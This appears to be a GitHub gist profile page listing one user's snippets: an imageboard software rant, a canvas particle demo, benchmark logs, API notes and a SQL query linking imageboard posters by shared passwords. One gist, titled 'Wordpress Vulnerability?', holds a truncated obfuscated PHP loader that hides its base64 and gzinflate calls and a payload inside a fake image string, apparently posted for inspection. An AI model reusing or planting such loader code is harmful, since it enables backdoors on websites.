Skip to content

Instantly share code, notes, and snippets.

View ECHibiki's full-sized avatar

Verniy ECHibiki

View GitHub Profile
@ECHibiki
ECHibiki / rant.txt
Created March 25, 2023 00:50
Vichan Rant
enclaved 08/09/17 (Wed) 22:15:51 No.5568 >>5569>>5570>>5573>>5762>>5813
I know I'm about to spew forth a technical tirade that little of you will be able to comprehend or care to read at all, but I just can't keep my boiling hatred inside anymore, my pain of dealing with vichan imageboard software is overwhelming. So, I have rewritten major portions of current GUROchan codebase after some profiling to speed up the whole thing. I know that I promised you all a brand new imageboard software, but it isn't going well enough due to my perma-apathetic mood and lack of motivation. It will happen someday, that's the most I can promise right now. Nevertheless, I've reached my boiling point with the current code in production: vichan. No words can describe just how bad it is technically. I'll give you this: 50% of my reasoning was ideological, running this software actually hurts my feelings, literally, just thinking about our hardware executing its incredibly poorly written code insults me and pisses me off. I am asha
@ECHibiki
ECHibiki / w.php
Created January 24, 2022 14:58
Wordpress Vulnerability?
<?php function pre_term_name($b){$a = str_replace(array('%','#'),array('/','+'),$b);$b = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$c = $b($a);$k = "\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65";return @$k($c);}$z = '<img src="data:image/png;5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9%1OQ22NBqNpNFImhmNSn3P9QLWYcZPg#Gm0X5YGthDa#ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y#tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd#dFMudU%2jj%uHZ#Zr09P33c%wK%uzqu9w1PzolJh3x8y#JSgjmBnZE#jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm#O1bWC%ti5sgP8#cWaDuxr%HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02%2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2%dm04EpaMCPfe1E%Nftw9uHz52p04WeK5t2EHhB1%VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4UWgvtOTk4OoTmmRu1Zm0TyYPuGUGRiTVy#t2%Zl5kh92R3y9TKx8MZ1POGZ9OjsIocPzQtcKxHZZLNEQE8yCwo1kwZU7Y5eMm857xcQTcftlMIcAuFmAtloe5%fDB7cMHpe77o5NT4IhM%ZQhurfU3T06#v1gLxeOZwHk7UPVmnnovfVGzrRMDRg4dtnYAiZhluuMpp0#sIIdbG8NvWDCJnY09gYd3wuj7S1n6s8iFt34dse3wnDuBQM2tSb8F%Ndq2#PPRcY
@ECHibiki
ECHibiki / index.html
Created December 23, 2021 02:23
Particle Emitter
<strong>Click to trigger particles</strong><br />
<p>Stars Created : <span id="stars">0</span></p>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gl-matrix/2.8.1/gl-matrix.js"></script>
<audio crossOrigin="anonymous" id="audio" src="https://kissu.moe/static/sounds/60t3mf.mp3" controls></audio><br />
<canvas oncontextmenu="return false;" id="canvas" width="1159" height="777"></canvas><br />
<p>Audio Source: Some Tekken 7 Lucky Chloe thing<br />
Image Source: https://twitter.com/asa_410st/status/1472023559933415426</p>
<img id="test" />
@ECHibiki
ECHibiki / Nice Vichan SQL Query
Last active November 1, 2020 21:02
Search for password similarities
SELECT * FROM (SELECT id, thread, body, ip, password FROM posts_qa UNION SELECT id, thread, body, ip, password FROM posts_jp) as union_subset where password in (SELECT password FROM posts_trans where id=1681);
--This checks for same users across the posts_qa and posts_jp table using the password stored in posts_trans
@ECHibiki
ECHibiki / SSR-server-page.log
Created April 8, 2020 23:16
Kissu Benchmarks April 8th, 2020
{ rss: 31322112,
heapTotal: 18038784,
heapUsed: 13891976,
external: 8328 }
{ user: 199800, system: 29673 }
--
{ rss: 33869824,
heapTotal: 19087360,
heapUsed: 15134336,
external: 69296 }
@ECHibiki
ECHibiki / Canvas Notes
Last active May 9, 2018 01:09
Mozilla.org Canvas Notes
* Canvas is default 300px by 150px
* alt content is contained within <canvas><a href=''>alt text</a></canvas>
alternatively:
```
var canvas = document.getElementById('tutorial');
if (canvas.getContext) {
var ctx = canvas.getContext('2d');
// drawing code here
} else {
@ECHibiki
ECHibiki / gist:9fc3a9918dec1708cbdbcf54d26440fe
Created March 22, 2018 06:01
Twitter API Get User Timeline : "user_timeline.json" breaks with parameters
https://stackoverflow.com/questions/12988921/twitter-get-status-fails-with-additional-parameters
Twitter API is garbage
@ECHibiki
ECHibiki / Twitter API Media Upload PHP Curl.md
Last active February 28, 2018 04:45
Twitter media upload with php curl

Am a bit frustrated that the docs have been inaccurate for over 3 years apparently.

You need to use everything for the INIT... use all of the parameters not just the oauth_* ones The following php curl code got me past the error 32

Edit: The above is also true for APPEND and FINALIZE. Please check my twitter bot for info.

	$media_api = "https://upload.twitter.com/1.1/media/upload.json";